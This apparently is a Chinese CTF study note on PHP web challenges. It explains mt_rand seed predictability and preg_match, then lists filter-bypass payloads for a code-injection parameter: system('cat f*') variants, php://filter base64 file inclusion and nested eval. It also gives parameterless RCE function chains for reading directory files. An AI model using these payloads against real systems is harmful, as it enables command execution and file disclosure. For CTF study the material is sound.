• md5() 函数是一个哈希函数,它将传入的参数进行哈希处理并返回一个32位的十六进制字符串

  • hexdec() 函数将十六进制字符串转换为对应的十进制数值。

  • mt_rand()函数

    1
    2
    3
    
    mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。
    使用语法:mt_rand(); or mt_rand(min,max);,生成一个区间内的随机数。
    其参数min默认为最小值0,max默认为可生成的随机数最大值2147483647,由mt_getrandmax()函数获得。
    

    mt_srand()函数

    1
    2
    3
    
    mt_srand() 函数播种 Mersenne Twister 随机数生成器。
    提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。
    当不使用随机数播种函数srand时,php也会自动为随机数播种,因此是否确定种子都不会影响正常运行。
    

    在php中每一次调用mt_rand()函数,都会检查一下系统有没有播种。(播种为mt_srand()函数完成),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以同一个种子下,随机数的序列是相同的,这就是漏洞点,两个例子。

    1
    2
    3
    4
    5
    6
    
    <?PHP 
    mt_srand(0);
    echo mt_rand();
    echo mt_rand();
    echo mt_rand();
    ?>
    

    在上面的代码中,我们把随机数播种为0,每次运行都会获得相同的序列,这就是伪随机:

    1
    2
    3
    
    963932192
    1273124119
    1535857466
    

    当我们去掉mt_srand()函数时,再次重复运行实例,系统会自动为rand函数播种,但也是播种一次。因此多次重复运行的结果也相同,为:

    1
    2
    3
    
    992978829
    928748101
    1380702626
    

    由于 Mt19937(“梅森旋转算法”)引擎仅接受 32 位整数作为种子,因此尽管 Mt19937 的范围为 219937-1,但可能的随机序列数量仅限于 232(即 4,294,967,296)。

    当依赖隐式或显式随机播种时,重复会出现得更早。根据生日问题,在少于 80,000 个随机生成的种子后,预计重复种子的概率为 50%。在随机生成大约 30,000 个种子后,重复种子的概率为 10%。

  • intval() 函数用于获取变量的整数值。

  • 1
    
    int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
    

    搜索 subject 与 pattern 给定的正则表达式的一个匹配。

    • $pattern: 要搜索的模式,字符串形式。

    • $subject: 输入字符串。

    • $matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。

    • $flags:flags 可以被设置为以下标记值:

      1. PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
    • offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。

    • 利用方式:构造绕过

      1
      2
      3
      4
      5
      6
      
      ?c=system('cat f*');//glob1
      ?c=system('cat f?ag.php');//glob2
      ?c=system('cat f\lag.php');//转义字符实现绕过
      ?c=system("cat f''lag.php");
      ?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php //直接将题目变成文件包含漏洞
      ?c=eval($_GET[1]);&1=system('cat flag.php'); //马中马嵌套过滤
      
  • print_r(scandir('.')):打印当初路径下文件的函数,查看当前目录

  • ocaleconv()

  • 常见无参数rce函数

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    
    scandir() //返回当前目录构成的数组
    localeconv() //一个数组,第一个值为.,很重要
    getcwd() //获取当前工作的目录,无需参数
    dirname() //获取某文件工作的目录
    array_flip() //交换数组的键和值,返回交换后的数组
    array_rand() //随机从数组中取出一个值
    array_reverse() //将数组内容翻转
    strrev() //翻转字符串
    chdir() //改变工作目录
    eval();assert();system() //命令执行
    highlight_file();show_source();readfile() //读文件
    在php程序运行时数组内部会有指针,而通过操控这些指针的指向我们可以控制输出的结果.起始的时候指针指向第一个元素.
    end() //指向最后一个元素并返回
    reset() //指向第一个元素并返回
    next() //指向下一个元素并返回
    prev() //指向上一个元素并返回
    current() //指向当前元素并返回
    

    构造出的函数

    1
    2
    3
    4
    5
    6
    7
    
    highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
    print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
    print_r(scandir(next(scandir(getcwd()))));  //查看上一级目录的文件
    show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
    show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
    show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
    show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位,查看和读取根目录文件
    
  • glob():返回一个包含匹配指定模式的文件名或目录的数组,如果失败则返回 FALSE。glob("") 会匹配任意文件,glob(".php")则是匹配以php为后缀的文件